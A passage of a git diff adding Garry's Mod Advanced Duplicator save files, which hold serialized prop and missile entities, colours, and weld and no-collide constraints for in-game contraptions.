4107.58;Y:3=B:f;}3FD879E8{Y:4=T:3FD88088;Y:1=A:61.6806,63.1838,-52.3604;Y:2=V:28.0593,8.50732,4107.58;Y:6=Y:5;Y:12=T:3FD87AF8;Y:14=Y:13;Y:15=N:0;}400E1A28{Y:7=N:20;Y:11=T:400E1AB0;}4005D310{Y:1=A:61.6806,33.6938,307.64;Y:2=V:47.0172,-10.3037,4107.58;Y:3=B:f;}33F65EB8{Y:7=N:20;Y:11=T:33F65F40;}34AF5F90{N:0=T:34AF5FF0;}40158E30{Y:1=A:61.6806,140.53,307.64;Y:2=V:-28.7471,-4.68677,4107.58;Y:3=B:f;}3FFC6F30{Y:7=N:20;Y:11=T:3FFC6FB8;}35493510{N:0=T:33D6D9B8;}34974710{Y:4=T:34974990;Y:1=A:61.6806,-78.4972,-52.3604;Y:2=V:18.1035,-78.527,4108.66;Y:6=Y:5;Y:12=T:34974820;Y:14=Y:13;Y:15=N:0;}34C4B798{Y:8=T:34C4B7C8;Y:9=N:0;Y:10=N:0;}3FF1F298{Y:7=N:20;Y:11=T:3FF1F320;}3FF1F188{Y:4=T:3FF1F380;Y:1=A:61.6806,-39.2302,-52.3604;Y:2=V:42.3037,-64.1155,4108.8;Y:6=Y:5;Y:12=T:3FF1F298;Y:14=Y:13;Y:15=N:0;}34DDF5A8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34E1EBC8{Y:8=T:34E1EBF8;Y:9=N:0;Y:10=N:0;}34F023D8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34DDF578{Y:8=T:34DDF5A8;Y:9=N:0;Y:10=N:0;}3FDE91A8{Y:1=A:61.6806,157.638,307.64;Y:2=V:-38.5314,-14.65,4107.58;Y:3=B:f;}40ECA930{Y:1=A:0,-132.702,360;Y:2=V:-18.2572,-3.24854,0.283081;Y:3=B:f;}33CD94D8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}40E9E520{Y:8=T:40E9E550;Y:9=N:0;Y:10=N:0;}40E9E388{Y:4=T:40E9E580;Y:1=A:61.6806,-162.338,-52.3604;Y:2=V:-36.0274,-44.7428,4107.58;Y:6=Y:5;Y:12=T:40E9E498;Y:14=Y:13;Y:15=N:0;}34C4B710{Y:7=N:20;Y:11=T:34C4B798;}34E58130{Y:8=T:34E58160;Y:9=N:0;Y:10=N:0;}40D8B6B8{N:0=T:40D8B718;}3FD87B80{Y:8=T:3FD87BB0;Y:9=N:0;Y:10=N:0;}350DF150{Y:4=T:350DF348;Y:1=A:61.6806,-125.017,-52.3604;Y:2=V:-15.4036,-72.6674,4108.54;Y:6=Y:5;Y:12=T:350DF1D8;Y:14=Y:13;Y:15=N:0;}3FDE9148{N:0=T:3FDE91A8;}400E9A20{Y:8=T:400E9A50;Y:9=N:0;Y:10=N:0;}34C4B688{Y:4=T:34C4B880;Y:1=A:61.6806,-55.8562,-52.3604;Y:2=V:31.3167,-73.3831,4107.58;Y:6=Y:5;Y:12=T:34C4B710;Y:14=Y:13;Y:15=N:0;}34F02210{Y:4=T:34F02408;Y:1=A:61.6806,-92.6472,-52.3604;Y:2=V:3.97314,-79.6606,4107.58;Y:6=Y:5;Y:12=T:34F02320;Y:14=Y:13;Y:15=N:0;}4113AD40{Y:7=N:20;Y:11=T:4113ADC8;}3FF1F320{Y:8=T:3FF1F350;Y:9=N:0;Y:10=N:0;}34DE94F0{Y:4=T:34DE9770;Y:1=A:61.6806,135.754,-52.3604;Y:2=V:-24.409,0.00244141,4107.58;Y:6=Y:5;Y:12=T:34DE9600;Y:14=Y:13;Y:15=N:0;}353B20F8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34AF69E0{Y:4=T:34AF5F90;Y:1=A:61.6806,176.613,-52.3604;Y:2=V:-36.9575,-28.9463,4107.58;Y:6=Y:5;Y:12=T:34AF5E20;Y:14=Y:13;Y:15=N:0;}4060EFA8{N:0=T:4060F008;}34D98C38{Y:8=T:34D98C68;Y:9=N:0;Y:10=N:0;}33F65F40{Y:8=T:33F65F70;Y:9=N:0;Y:10=N:0;}33F65DA8{Y:4=T:33F66028;Y:1=A:61.6806,28.9188,-52.3604;Y:2=V:49.7395,-13.6024,4107.58;Y:6=Y:5;Y:12=T:33F65EB8;Y:14=Y:13;Y:15=N:0;}40D8B5D0{Y:8=T:40D8B600;Y:9=N:0;Y:10=N:0;}33B35E90{Y:4=T:33B35390;Y:1=A:61.6806,148.843,-52.3604;Y:2=V:-33.6848,-10.5995,4107.58;Y:6=Y:5;Y:12=T:33B35248;Y:14=Y:13;Y:15=N:0;}3FFD3488{Y:7=N:20;Y:11=T:3FFD3510;}34AC84B8{Y:8=T:34AC84E8;Y:9=N:0;Y:10=N:0;}34DE9BE8{Y:1=A:61.6806,135.754,307.64;Y:2=V:-24.409,0.00244141,4107.58;Y:3=B:f;}33CD9310{Y:4=T:4060EFA8;Y:1=A:61.6806,9.23479,-52.3604;Y:2=V:53.3923,-24.7657,4107.58;Y:6=Y:5;Y:12=T:33CD9420;Y:14=Y:13;Y:15=N:0;}406ADA80{Y:7=N:20;Y:11=T:406ADB08;}4013DC10{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}4013DB58{Y:7=N:20;Y:11=T:4013DBE0;}319EFDD8{Y:19=Y:18;}34E1EBF8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FECB3E0{N:0=T:4005D310;} +Constraints:34BF1880{T:34BF18E0;T:34BF1998;}33E7C8A0{T:33E7C900;T:33E7C9B8;}4138C9B0{Y:22=N:177;Y:23=N:0;}406438F8{Y:22=N:183;Y:23=N:0;}33B35618{Y:22=N:183;Y:23=N:0;}406AF350{T:406AF3B0;T:406AF468;}3FD881A0{Y:24=T:3FD881F8;Y:26=Y:25;}3493ED68{T:3493EDC8;T:3493EE80;}34BCB948{Y:22=N:183;Y:23=N:0;}33C37DE8{Y:22=N:164;Y:23=N:0;}34DE9CF8{T:34DE9D58;T:34DE9E10;}40623EC0{Y:22=N:165;Y:23=N:0;}350AC638{Y:22=N:183;Y:23=N:0;}33A70950{T:33A709B0;T:33A70A68;}34C43E18{Y:22=N:188;Y:23=N:0;}400E2130{T:400E2190;T:400E2248;}33F8BF80{Y:22=N:183;Y:23=N:0;}33E7C9B8{Y:22=N:183;Y:23=N:0;}40E9ECB0{Y:22=N:183;Y:23=N:0;}3493EE80{Y:22=N:183;Y:23=N:0;}33D6DBE0{Y:22=N:183;Y:23=N:0;}33D91888{T:33D918E8;T:33D919A0;}3FD881F8{T:3FD88258;T:3FD88310;}34AF6160{Y:22=N:152;Y:23=N:0;}40BDEBE0{Y:22=N:183;Y:23=N:0;}3FD88258{Y:22=N:170;Y:23=N:0;}34E1EDC8{Y:24=T:34E1EE20;Y:26=Y:25;}34F02B38{Y:22=N:183;Y:23=N:0;}418D46E0{Y:24=T:418D4738;Y:26=Y:25;}3FE9F718{Y:22=N:183;Y:23=N:0;}33C37D88{T:33C37DE8;T:33C37EA0;}34BF1828{Y:24=T:34BF1880;Y:26=Y:25;}40D8B748{Y:24=T:34BCB830;Y:26=Y:25;}3FFAF0C0{Y:22=N:183;Y:23=N:0;}3FE60D70{T:349AF378;T:349AF430;}34DDFC50{Y:22=N:181;Y:23=N:0;}34C24AC8{Y:24=T:34C24B20;Y:26=Y:25;}34BCB830{T:34BCB890;T:34BCB948;}3FFC7688{Y:22=N:169;Y:23=N:0;}350AC520{T:350AC580;T:350AC638;}34E587F8{Y:22=N:158;Y:23=N:0;}40056FC0{Y:22=N:193;Y:23=N:0;}3FFAEFA8{T:3FFAF008;T:3FFAF0C0;}418D4738{T:418D4798;T:418D4850;}33D919A0{Y:22=N:183;Y:23=N:0;}3492C488{Y:22=N:183;Y:23=N:0;}4013DD28{T:4013DDB0;T:4013DDE0;}40E9EBF8{Y:22=N:173;Y:23=N:0;}350735F8{Y:22=N:167;Y:23=N:0;}H34AB0550{T:35073540;T:3FE9F5A8;T:3FFD3B28;T:40623E08;T:34E58740;T:40D8B748;T:33D6DA70;T:3493ED10;T:40BDEA70;T:33D91830;T:350AC4C8;T:33E7C848;T:3FFC75D0;T:34AD89F8;T:4060F0C0;T:4138C8F8;T:34C24AC8;T:34E1EDC8;T:33A708F8;T:34DDFB98;T:418D46E0;T:3FD881A0;T:34D989E8;T:33C37D30;T:406AF2F8;T:34BF1828;T:353B26E8;T:40643788;T:34D98E38;T:3FE60D18;T:4005D3C8;T:4013DCF8;T:400E20D8;T:34AFA4D8;T:33B354A8;T:40158EE8;T:40E9EB40;T:34C43D60;T:333DF7E8;T:34AF60A8;T:34F029C8;T:3FFA6390;T:34DE9CA0;}34E1EE20{T:34E1EE80;T:34E1EEB0;}33A70A68{Y:22=N:183;Y:23=N:0;}353B2740{T:353B27A0;T:353B2858;}3FFAF008{Y:22=N:195;Y:23=N:0;}34BF18E0{Y:22=N:162;Y:23=N:0;}33D6DB28{Y:22=N:163;Y:23=N:0;}34DDFB98{Y:24=T:34DDFBF0;Y:26=Y:25;}33D918E8{Y:22=N:179;Y:23=N:0;}40623E08{Y:24=T:40623E60;Y:26=Y:25;}34E58740{Y:24=T:34E58798;Y:26=Y:25;}34AD8B68{Y:22=N:183;Y:23=N:0;}33E7C848{Y:24=T:33E7C8A0;Y:26=Y:25;}34AF60A8{Y:24=T:34AF6100;Y:26=Y:25;}400E2190{Y:22=N:157;Y:23=N:0;}34DDFD08{Y:22=N:183;Y:23=N:0;}33C37EA0{Y:22=N:183;Y:23=N:0;}40BDEAC8{T:40BDEB28;T:40BDEBE0;}349AF430{Y:22=N:183;Y:23=N:0;}34BF1998{Y:22=N:183;Y:23=N:0;}40623F78{Y:22=N:183;Y:23=N:0;}34D98E38{Y:24=T:34D98E90;Y:26=Y:25;}3FFD3C98{Y:22=N:183;Y:23=N:0;}4005D3C8{Y:24=T:4005D420;Y:26=Y:25;}34DE9E10{Y:22=N:183;Y:23=N:0;}406AF2F8{Y:24=T:406AF350;Y:26=Y:25;}400E20D8{Y:24=T:400E2130;Y:26=Y:25;}34E588B0{Y:22=N:183;Y:23=N:0;}3FFA6448{Y:22=N:184;Y:23=N:0;}3FFC75D0{Y:24=T:3FFC7628;Y:26=Y:25;}35073540{Y:24=T:35073598;Y:26=Y:25;}40623E60{T:40623EC0;T:40623F78;}34D98AA0{Y:22=N:180;Y:23=N:0;}400E2248{Y:22=N:183;Y:23=N:0;}3FFC7628{T:3FFC7688;T:3FFC7740;}3FFD3B28{Y:24=T:3FFD3B80;Y:26=Y:25;}3FE9F5A8{Y:24=T:3FE9F600;Y:26=Y:25;}3FFA63E8{T:3FFA6448;T:3FFA6500;}40BDEB28{Y:22=N:153;Y:23=N:0;}406437E0{T:40643840;T:406438F8;}4060F230{Y:22=N:183;Y:23=N:0;}353B2858{Y:22=N:183;Y:23=N:0;}3FFD3B80{T:3FFD3BE0;T:3FFD3C98;}33E7C900{Y:22=N:190;Y:23=N:0;}34D98B58{Y:22=N:183;Y:23=N:0;}33D6DA70{Y:24=T:33D6DAC8;Y:26=Y:25;}34AD8AB0{Y:22=N:176;Y:23=N:0;}3FFC7740{Y:22=N:183;Y:23=N:0;}406AF468{Y:22=N:183;Y:23=N:0;}34DE9D58{Y:22=N:174;Y:23=N:0;}34AD89F8{Y:24=T:34AD8A50;Y:26=Y:25;}34DE9CA0{Y:24=T:34DE9CF8;Y:26=Y:25;}3FFA6500{Y:22=N:183;Y:23=N:0;}3FFA6390{Y:24=T:3FFA63E8;Y:26=Y:25;}350AC4C8{Y:24=T:350AC520;Y:26=Y:25;}35073598{T:350735F8;T:350736B0;}3493EDC8{Y:22=N:168;Y:23=N:0;}34F02A80{Y:22=N:155;Y:23=N:0;}34D98A40{T:34D98AA0;T:34D98B58;}34D98FA8{Y:22=N:183;Y:23=N:0;}34F02A20{T:34F02A80;T:34F02B38;}3FD88310{Y:22=N:183;Y:23=N:0;}34F029C8{Y:24=T:34F02A20;Y:26=Y:25;}34AF6100{T:34AF6160;T:3492C488;}418D4850{Y:22=N:183;Y:23=N:0;}347B0E98{Y:22=N:151;Y:23=N:0;}34C43DB8{T:34C43E18;T:34C43ED0;}333DF7E8{Y:24=T:34B0DF10;Y:26=Y:27;Y:28=N:0;}34C43ED0{Y:22=N:183;Y:23=N:0;}4060F178{Y:22=N:178;Y:23=N:0;}40643840{Y:22=N:160;Y:23=N:0;}34B0DF10{T:347B0E98;T:33F8BF80;}4138C950{T:4138C9B0;T:4138CA68;}34E1EEB0{Y:22=N:183;Y:23=N:0;}34DDFBF0{T:34DDFC50;T:34DDFD08;}3FFD3BE0{Y:22=N:186;Y:23=N:0;}33A708F8{Y:24=T:33A70950;Y:26=Y:25;}4005D480{Y:22=N:191;Y:23=N:0;}40E9EB40{Y:24=T:40E9EB98;Y:26=Y:25;}40158EE8{Y:24=T:3FFAEFA8;Y:26=Y:25;}33B35560{Y:22=N:154;Y:23=N:0;}33B35500{T:33B35560;T:33B35618;}3FE9F600{T:3FE9F660;T:3FE9F718;}33B354A8{Y:24=T:33B35500;Y:26=Y:25;}33D91830{Y:24=T:33D91888;Y:26=Y:25;}34A0AAC8{Y:22=N:183;Y:23=N:0;}3519BD50{T:40056FC0;T:34A0AAC8;}34AFA4D8{Y:24=T:3519BD50;Y:26=Y:25;}33D6DAC8{T:33D6DB28;T:33D6DBE0;}33A709B0{Y:22=N:171;Y:23=N:0;}4060F118{T:4060F178;T:4060F230;}40BDEA70{Y:24=T:40BDEAC8;Y:26=Y:25;}353B27A0{Y:22=N:175;Y:23=N:0;}4060F0C0{Y:24=T:4060F118;Y:26=Y:25;}4013DDE0{Y:22=N:183;Y:23=N:0;}4013DDB0{Y:22=N:161;Y:23=N:0;}34AD8A50{T:34AD8AB0;T:34AD8B68;}34C43D60{Y:24=T:34C43DB8;Y:26=Y:25;}4013DCF8{Y:24=T:4013DD28;Y:26=Y:25;}40E9EB98{T:40E9EBF8;T:40E9ECB0;}406AF3B0{Y:22=N:156;Y:23=N:0;}4005D420{T:4005D480;T:4005D4B0;}349AF378{Y:22=N:187;Y:23=N:0;}4005D4B0{Y:22=N:183;Y:23=N:0;}34BCB890{Y:22=N:172;Y:23=N:0;}3FE60D18{Y:24=T:3FE60D70;Y:26=Y:25;}4138CA68{Y:22=N:183;Y:23=N:0;}34D98EF0{Y:22=N:194;Y:23=N:0;}350AC580{Y:22=N:185;Y:23=N:0;}4138C8F8{Y:24=T:4138C950;Y:26=Y:25;}34C24B20{T:34C24B80;T:34C24C38;}3FE9F660{Y:22=N:166;Y:23=N:0;}34C24B80{Y:22=N:159;Y:23=N:0;}34C24C38{Y:22=N:183;Y:23=N:0;}34D98E90{T:34D98EF0;T:34D98FA8;}418D4798{Y:22=N:192;Y:23=N:0;}40643788{Y:24=T:406437E0;Y:26=Y:25;}353B26E8{Y:24=T:353B2740;Y:26=Y:25;}3493ED10{Y:24=T:3493ED68;Y:26=Y:25;}350736B0{Y:22=N:183;Y:23=N:0;}33C37D30{Y:24=T:33C37D88;Y:26=Y:25;}34D989E8{Y:24=T:34D98A40;Y:26=Y:25;}34E58798{T:34E587F8;T:34E588B0;}34E1EE80{Y:22=N:189;Y:23=N:0;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"models/weapons/w_missile_closed.mdl" +6:"Model" +7:"CollisionGroupMod" +8:"Color" +9:"RenderMode" +10:"RenderFX" +11:"colour" +12:"EntityMods" +13:"sent_nuke_missile" +14:"Class" +15:"Skin" +16:"models/hunter/misc/cone1x1.mdl" +17:"prop_physics" +18:"phoenix_storms/stripes" +19:"MaterialOverride" +20:"material" +21:"models/hunter/misc/cone2x2.mdl" +22:"Index" +23:"Bone" +24:"Entity" +25:"NoCollide" +26:"Type" +27:"Weld" +28:"forcelimit" +Saved:1019 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/keepon.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/keepon.txt new file mode 100644 index 0000000..1bbdf1d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/keepon.txt @@ -0,0 +1,57 @@ +[Info] +Type:AdvDupe File +Creator:"[SCP] Youtube.com/KevaughanShiu" +Date:04/26/08 +Description:"none" +Entities:9 +Constraints:31 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.84 +AdvDupeToolVersion:1.813 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:Not Installed +Time:03:54 PM +Head:76 +HoldAngle:0,169.605,0 +HoldPos:-22.5296,-35.67,47.9099 +StartPos:2067.55,-1108.25,-0.96875 +[Save] +Entities:44348DB0{N:0=T:4462C390;}35F63BB8{Y:13=N:200;}35D178B0{Y:21=N:20;Y:12=T:36D2E038;Y:18=T:45C1FC68;}44675860{N:0=T:367B39A8;}36173C10{Y:15=T:44659C30;Y:16=N:0;Y:17=N:0;}45BCF048{Y:15=T:368FFE90;Y:16=N:0;Y:17=N:0;}44048C70{Y:11=Y:10;}44464010{Y:11=Y:10;}368E76B0{Y:15=T:52E0F320;Y:16=N:0;Y:17=N:0;}36173E08{Y:12=T:446A2868;Y:14=T:435B3C40;Y:18=T:45BCF048;}438E2E58{Y:18=T:368E76B0;Y:12=T:52E0F370;}443C74C8{N:0=T:4510DD00;}H44C8D328{N:76=T:532E7E28;N:80=T:43B6CCB8;N:84=T:452ACF68;N:77=T:4446F940;N:81=T:43F85CE8;N:75=T:36173DB8;N:79=T:52EE10A8;N:83=T:44402F88;N:69=T:438E2E08;}52E0F370{Y:11=Y:10;}438E2E08{Y:2=Y:1;Y:3=A:-0.537049,131.936,-0.049408;Y:4=V:-39.7214,11.9468,104.775;Y:5=N:0;Y:7=T:453C34B8;Y:9=Y:8;Y:19=T:438E2E58;}452ACF68{Y:2=Y:23;Y:3=A:-85.0118,-166.929,-175.553;Y:4=V:-3.78784,24.2438,122.062;Y:5=N:0;Y:7=T:44675860;Y:9=Y:8;Y:19=T:36647D58;}44448340{Y:15=T:52D4FA90;Y:16=N:0;Y:17=N:0;}435B3C40{Y:13=N:200;}44510888{Y:11=Y:22;}4462C390{Y:3=A:-89.2242,-153.226,138.953;Y:4=V:-6.94971,-9.23499,122.006;Y:6=B:f;}4446F940{Y:2=Y:20;Y:3=A:-0.0805319,-51.9514,0.122944;Y:4=V:-1.53711,-10.8082,122.272;Y:5=N:0;Y:7=T:52DC7700;Y:9=Y:8;Y:19=T:35D178B0;}367B39A8{Y:3=A:-85.0118,-166.929,184.447;Y:4=V:-3.78784,24.2438,122.062;Y:6=B:f;}4510DD00{Y:3=A:0.0651674,-48.0584,179.95;Y:4=V:-39.7301,11.9542,104.172;Y:6=B:f;}526E33D8{N:0=T:52E3A980;}44220BA0{Y:21=N:20;Y:12=T:52E3C948;}44402F88{Y:2=Y:23;Y:3=A:-89.2242,-153.226,138.953;Y:4=V:-6.94971,-9.23499,122.006;Y:5=N:0;Y:7=T:44348DB0;Y:9=Y:8;Y:19=T:44220BA0;}368FFE90{S:"a"=N:255;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}52D59C78{Y:3=A:-0.052299,-138.058,179.931;Y:4=V:-40.528,11.4601,47.9733;Y:6=B:f;}44659C30{S:"a"=N:255;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}52E3A980{Y:3=A:-0.589961,-84.9927,0.772026;Y:4=V:0.408203,25.6316,122.167;Y:6=B:f;}3585A380{Y:18=T:43A7F580;Y:12=T:44048C70;}453C34B8{N:0=T:453C35F8;}44659C80{Y:11=Y:22;}445C6380{N:0=T:52EF33D8;}45897EB8{Y:21=N:20;Y:12=T:44659C80;Y:18=T:36173C10;}45B8BA88{S:"a"=N:255;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}52EE10A8{Y:2=Y:20;Y:3=A:0.338176,-16.3874,0.184927;Y:4=V:4.71411,7.06445,104.754;Y:5=N:0;Y:7=T:445C6380;Y:9=Y:8;Y:19=T:45897EB8;}43F85CE8{Y:2=Y:1;Y:3=A:0.0651674,-48.0584,179.95;Y:4=V:-39.7301,11.9542,104.172;Y:5=N:0;Y:7=T:443C74C8;Y:9=Y:8;Y:19=T:3585A380;}36647D58{Y:21=N:20;Y:12=T:44464010;}52E0F320{S:"a"=N:255;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}446A2868{Y:11=Y:10;}36039E18{Y:3=A:-0.420333,41.9311,359.969;Y:4=V:-40.537,11.4642,47.4535;Y:6=B:f;}44C8E188{N:0=T:36039E18;}36D2E038{Y:11=Y:22;}36173DB8{Y:2=Y:1;Y:3=A:-0.420333,41.9311,-0.0306091;Y:4=V:-40.537,11.4642,47.4535;Y:5=N:0;Y:7=T:44C8E188;Y:9=Y:8;Y:19=T:36173E08;}52D43AD8{Y:21=N:20;Y:12=T:44510888;Y:18=T:44448340;}44099CB0{Y:15=T:45B8BA88;Y:16=N:0;Y:17=N:0;}52D4FA90{S:"a"=N:255;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}52E3C948{Y:11=Y:10;}532E7E28{Y:2=Y:1;Y:3=A:-0.052299,-138.058,179.931;Y:4=V:-40.528,11.4601,47.9733;Y:5=N:0;Y:7=T:445706B0;Y:9=Y:8;Y:19=T:52F7A188;}52F7A188{Y:12=T:533150A8;Y:14=T:35F63BB8;Y:18=T:44099CB0;}44696888{S:"a"=N:255;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}43A7F580{Y:15=T:52E40EB0;Y:16=N:0;Y:17=N:0;}533150A8{Y:11=Y:10;}52E40EB0{S:"a"=N:255;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}453C35F8{Y:3=A:-0.537049,131.936,359.951;Y:4=V:-39.7214,11.9468,104.775;Y:6=B:f;}445706B0{N:0=T:52D59C78;}45C1FC68{Y:15=T:44696888;Y:16=N:0;Y:17=N:0;}52DC7700{N:0=T:457999A0;}457999A0{Y:3=A:-0.0805319,-51.9514,0.122944;Y:4=V:-1.53711,-10.8082,122.272;Y:6=B:f;}52EF33D8{Y:3=A:0.338176,-16.3874,0.184927;Y:4=V:4.71411,7.06445,104.754;Y:6=B:f;}43B6CCB8{Y:2=Y:20;Y:3=A:-0.589961,-84.9927,0.772026;Y:4=V:0.408203,25.6316,122.167;Y:5=N:0;Y:7=T:526E33D8;Y:9=Y:8;Y:19=T:52D43AD8;} +Constraints:434C7468{T:4422CB68;T:36719868;}445C4C70{Y:26=T:434C7468;Y:28=Y:27;Y:30=N:0;}445D6CB8{Y:26=T:44751B78;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}H445559A8{T:52E4EE38;T:3674E780;T:43B1FFD0;T:52D520E8;T:4517DEB8;T:44706FC8;T:45D7C330;T:52EAFB58;T:46396A80;T:44B5F548;T:451CC270;T:36516A30;T:52F0BE28;T:450E7B50;T:45466240;T:445C4C70;T:44074B88;T:446CE1D8;T:3680C9F8;T:445D6CB8;T:52F6F760;T:442069C0;T:36749820;T:52F7B9F0;T:446FD918;T:52E0F700;T:36CCDD80;T:44AD1B90;T:36CD3AD0;T:45A7BBC0;T:45CF1C38;}43B92648{Y:24=N:80;Y:25=N:0;}44AD1B90{Y:26=T:45775F48;Y:28=Y:31;}45523370{T:52E9BAD0;T:3683A6A0;}4422CB68{Y:24=N:76;Y:25=N:0;}4471E8A0{Y:24=N:69;Y:25=N:0;}532D1618{Y:24=N:80;Y:25=N:0;}4517DEB8{Y:26=T:4517DF08;Y:28=Y:27;Y:30=N:0;}52765DA0{T:532D1618;T:52F22398;}45CF1C38{Y:26=T:52765DA0;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}44609678{T:468B4DC0;T:3651C998;}45501B28{Y:24=N:83;Y:25=N:0;}442069C0{Y:26=T:459AEF28;Y:28=Y:31;}36AFE6F8{Y:24=N:79;Y:25=N:0;}465C4920{Y:24=N:83;Y:25=N:0;}52B8A4C8{Y:24=N:79;Y:25=N:0;}44B5F548{Y:26=T:43B949F8;Y:28=Y:27;Y:30=N:0;}45A7BBC0{Y:26=T:43FE1A78;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}445558B8{T:45AA3AF8;T:45AA3B48;}453B9F28{T:445F4CA0;T:43935920;}3680C9F8{Y:26=T:45AA3CB8;Y:28=Y:27;Y:30=N:0;}43F00D40{Y:24=N:75;Y:25=N:0;}44556A90{T:446580B0;}45D7C330{Y:26=T:4536FF88;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}36D99FB0{T:4456E4A8;T:43F00D40;}43B9C590{Y:24=N:75;Y:25=N:0;}3651C998{Y:24=N:75;Y:25=N:0;}436BB3C0{T:365553C0;T:43A74600;}45AA3AF8{Y:24=N:69;Y:25=N:0;}43B1FFD0{Y:26=T:44609678;Y:28=Y:31;}43F827A0{Y:24=N:75;Y:25=N:0;}4595F130{Y:24=N:83;Y:25=N:0;}52F2DD48{T:52E65390;T:360772A0;}365553C0{Y:24=N:79;Y:25=N:0;}44624770{Y:24=N:77;Y:25=N:0;}469549D0{Y:24=N:76;Y:25=N:0;}445FA468{Y:24=N:81;Y:25=N:0;}52B666A0{Y:24=N:69;Y:25=N:0;}52E39508{T:44514400;T:44633608;}44611E88{T:45C117B0;T:36597B18;}45775F48{T:445FA468;T:43F827A0;}4553EBE0{Y:24=N:69;Y:25=N:0;}451CC270{Y:26=T:453B9F28;Y:28=Y:27;Y:30=N:0;}45AA3B48{Y:24=N:76;Y:25=N:0;}4442CD08{Y:24=N:81;Y:25=N:0;}36CD3AD0{Y:26=T:36D99FB0;Y:28=Y:31;}52E3D4F8{T:3619D758;T:44C9AD18;}36CCDD80{Y:26=T:367DBC28;Y:28=Y:31;}43A74600{Y:24=N:84;Y:25=N:0;}3605DF08{Y:24=N:69;Y:25=N:0;}444FD428{Y:24=N:69;Y:25=N:0;}4517DF08{T:469549D0;T:46954A20;}367DBC28{T:4442CD08;T:4553EBE0;}52F96EB8{T:4595F130;T:36AFE6F8;}52E9BAD0{Y:24=N:84;Y:25=N:0;}44706FC8{Y:26=T:445558B8;Y:28=Y:31;}36833840{Y:24=N:77;Y:25=N:0;}52D520E8{Y:26=T:52D52138;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}44BBF270{Y:24=N:77;Y:25=N:0;}36D25638{Y:24=N:83;Y:25=N:0;}36AF9098{Y:24=N:81;Y:25=N:0;}464E10F8{T:36833840;T:36D25638;}365B7C68{Y:24=N:79;Y:25=N:0;}468B4DC0{Y:24=N:76;Y:25=N:0;}52E0F700{Y:26=T:436BB3C0;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}367DADC0{Y:24=N:84;Y:25=N:0;}360772A0{Y:24=N:77;Y:25=N:0;}4408EA50{Y:24=N:81;Y:25=N:0;}45C117B0{Y:24=N:79;Y:25=N:0;}52F02DC8{Y:24=N:80;Y:25=N:0;}52F7B9F0{Y:26=T:446717F0;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}36B3EDB8{Y:24=N:76;Y:25=N:0;}446580B0{Y:24=N:76;Y:25=N:0;}43B64038{Y:24=N:77;Y:25=N:0;}44DE4920{Y:24=N:69;Y:25=N:0;}52F0BE28{Y:26=T:52F0BE78;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}3674CD68{T:36B3EDB8;T:4408EA50;}459AEF28{T:4423F118;T:43B92648;}43B949F8{T:44DE4920;T:43B9C590;}4468D5C0{T:36AF9098;T:4424F170;}44514400{Y:24=N:79;Y:25=N:0;}52F22398{Y:24=N:84;Y:25=N:0;}46396A80{Y:26=T:46396AD0;Y:28=Y:27;Y:30=N:0;}52B66650{Y:24=N:81;Y:25=N:0;}36749820{Y:26=T:3674CD68;Y:28=Y:27;Y:30=N:0;}445B2E90{Y:24=N:80;Y:25=N:0;}446FD918{Y:26=T:464E10F8;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}46954A20{Y:24=N:75;Y:25=N:0;}44074B88{Y:26=T:52E3D4F8;Y:28=Y:27;Y:30=N:0;}44325F58{Y:24=N:84;Y:25=N:0;}52EAFB58{Y:26=T:52F96EB8;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}46396AD0{T:52B66650;T:52B666A0;}52E4EE38{Y:26=T:52E39508;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}44C9AD18{Y:24=N:77;Y:25=N:0;}36719868{Y:24=N:69;Y:25=N:0;}446717F0{T:367DADC0;T:44BBF270;}4537C5E8{Y:24=N:81;Y:25=N:0;}45AA3CB8{T:4537C5E8;T:52F02DC8;}445F4CA0{Y:24=N:81;Y:25=N:0;}4456E4A8{Y:24=N:69;Y:25=N:0;}4536FF88{T:44624770;T:444FD428;}44751B78{T:365486E8;T:465C4920;}43935920{Y:24=N:75;Y:25=N:0;}52F6F760{Y:26=T:465C5638;Y:28=Y:27;Y:30=N:0;}52E65390{Y:24=N:80;Y:25=N:0;}36597B18{Y:24=N:81;Y:25=N:0;}4423F118{Y:24=N:69;Y:25=N:0;}45466240{Y:26=T:52F2DD48;Y:28=Y:27;Y:29=B:t;Y:30=N:0;}4424F170{Y:24=N:76;Y:25=N:0;}3683A6A0{Y:24=N:69;Y:25=N:0;}52D52138{T:3605DF08;T:52B8A4C8;}3674E780{Y:26=T:44611E88;Y:28=Y:27;Y:30=N:0;}36516A30{Y:26=T:45523370;Y:28=Y:27;Y:30=N:0;}450E7B50{Y:26=T:4468D5C0;Y:28=Y:31;}446CE1D8{S:"Ang"=A:-0.00151798,90.0005,180.00